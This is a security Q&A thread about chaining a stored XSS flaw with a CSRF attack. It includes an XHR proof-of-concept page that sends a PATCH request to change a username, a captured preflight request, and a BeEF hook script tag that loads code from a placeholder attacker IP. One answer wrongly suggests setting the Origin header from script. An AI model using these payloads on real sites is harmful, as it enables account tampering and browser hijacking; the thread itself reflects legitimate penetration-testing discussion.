0

In an application i am testing, there is a stored XSS flaw. Now, I was testing for CSRF and I constructed an HTML page with a javascript that sends the ajax request (XHR). It caused a pre-flight request and then the browser says Cross-origin request blocked as the Access-Control-Allow-Origin is missing. My question is, if I use stored XSS flaw , then the request will be sent from same domain and CSRF attack would be successful right ?

Thanks in advance.

<html>
  <!-- CSRF PoC-->
  <body>
<p>csrf test</p>
<script>
var http = new XMLHttpRequest();
var params = "{\"username\":\"pentester12\"}";
http.open("PATCH", "https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false", true);


http.setRequestHeader("Accept","application/json, text/javascript, */*; q=0.01");
http.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4");
http.setRequestHeader("Referer","https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false");
http.setRequestHeader("Connection","close");
http.setRequestHeader("Accept-Language","en-US,en;q=0.5");
http.setRequestHeader("Accept-Encoding","gzip, deflate");
http.setRequestHeader("Content-Type","text/plain; charset=UTF-8");
http.setRequestHeader("Origin","www.domain.com");
http.withCredentials= "true";
http.onreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
        console.info(http.status);
        console.info(http.responseText);
    }
}
http.send(params);
</script>
  </body>
</html>

Pre-flight request:

OPTIONS /data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false HTTP/1.1
Host: www.domain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: PATCH
Access-Control-Request-Headers: user-agent
Origin: null
Connection: close

I spoofed the Origin header to the target domain using burp. But I got the same CORS error.

9
  • If you're using XSS it's not really a cross-origin request anymore, so there won't be any preflight request in the first place. If there is a preflight request, that means the browser is already enforcing the same-origin policy; using Burp to change the value of origin in the preflight request won't change that.
    – Ajedi32
    Jun 2, 2016 at 15:56
  • @Ajedi32 I was using an HTML file with a javascript to make the request but as told in the answer below, the browser's SOP is preventing me from submitting he request. Also, interesting this is that the server does not check for the X-requested-with header or Content-type. Anyways, My ultimate goal is to exploit the CSRF vulnerability (there is no token) via XSS. Any tricks to deliver this huge payload ? The stored XSS is in the username field which gets rendered unsafely via Jquery.
    – entropy
    Jun 2, 2016 at 16:04
  • 1
    Once you've got a working XSS attack, CSRF is irrelevant since you don't need to make cross-site requests anymore. You can inject JavaScript into the page that can do literally anything JavaScript on that site can do, including make perfectly valid same-origin requests as that site.
    – Ajedi32
    Jun 2, 2016 at 16:13
  • Note that you won't be able to change the Referer header in an ajax query. The browser will automatically overwrite this header from your original request. You can check this by sniffing the packets.
    – Xavier59
    Jun 2, 2016 at 18:07
  • @Xavier59 There is no referer header in the ajax request. When I try to send a cross-origin request (from HTML file), a pre-flight OPTIONS request is sent which gives me a 302 to login. and then the original request is not sent due to SOP violation.
    – entropy
    Jun 2, 2016 at 18:53

2 Answers 2

1

Yes,it will work. The CORS header will avoid external requests from perform actions(eg. a malicious link received by email and clicked by the user).

If you combine a stored XSS flaw and perform a request on the page load to execute some action,it will certainly work. The request comes from the application domain,so the application/browser will have no way to distinguish this request from a forged request.

The OWASP guide provides more information,take a look.

EDIT: I see now your edit. Let's see if I understand what you're trying to do.

Scenario: You have a non-sanitized input, which let you explore the XSS flaw. You put some dirty javascript to perform a action,like alerts or logs,and it works every time that the page is loaded. Fine.

On next step,you have elaborated a XHR to the same application domain,from the application domain. Are you still getting a CORS error?

8
  • SO, because I am sending the request from the HTML file, the "origin" for the browser is different ?
    – entropy
    Jun 2, 2016 at 15:22
  • yes, i am getting the same CORS error when I set the origin header. I have not yet tried to send this request by exploiting the XSS flaw @hugo-dias
    – entropy
    Jun 2, 2016 at 15:27
  • If you're trying a XHR from a external resource,it will not work. The same origin policy prevents it.
    – Hugo Dias
    Jun 2, 2016 at 15:39
  • could you please also help me to determine how can I deliver this payload ? The stored xss flaw is in the username field and entering large payload breaks the HTML. Even beef-style payload like "<script src="http://<IP>:3000/hook.js"></script>" breaks the HTML. Is there any optimized way to deliver my payload ?
    – entropy
    Jun 2, 2016 at 15:44
  • We need more informations, eg how much characters can you write ?
    – Xavier59
    Jun 2, 2016 at 18:15
0

The Access-Control-Allow-Origin is a CORS header meant to check whether the request came from the same domain or not. The request is indeed sent from the same domain, but you might not have said so in the HTTP request header. I don't have much insight in your precise problem, but to me you should specify the Origin header:

var xhr= new XMLHttpRequest();
xhr.setRequetHeader("Origin", TargetDomain);

In general, if you want to test an application for CSRF, an healthy way to start is to check the request and response HTTP headers of a legitimate browsing and try to spoof them.

2
  • I added the header Origin: www.example.com but still getting the same error.
    – entropy
    Jun 2, 2016 at 14:42
  • As said in the answer above, the useful answer, the browser is preventing the cross-origin request (as it comes from the HTMl file). Thanks anyways :) @MadWard
    – entropy
    Jun 2, 2016 at 18:55

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .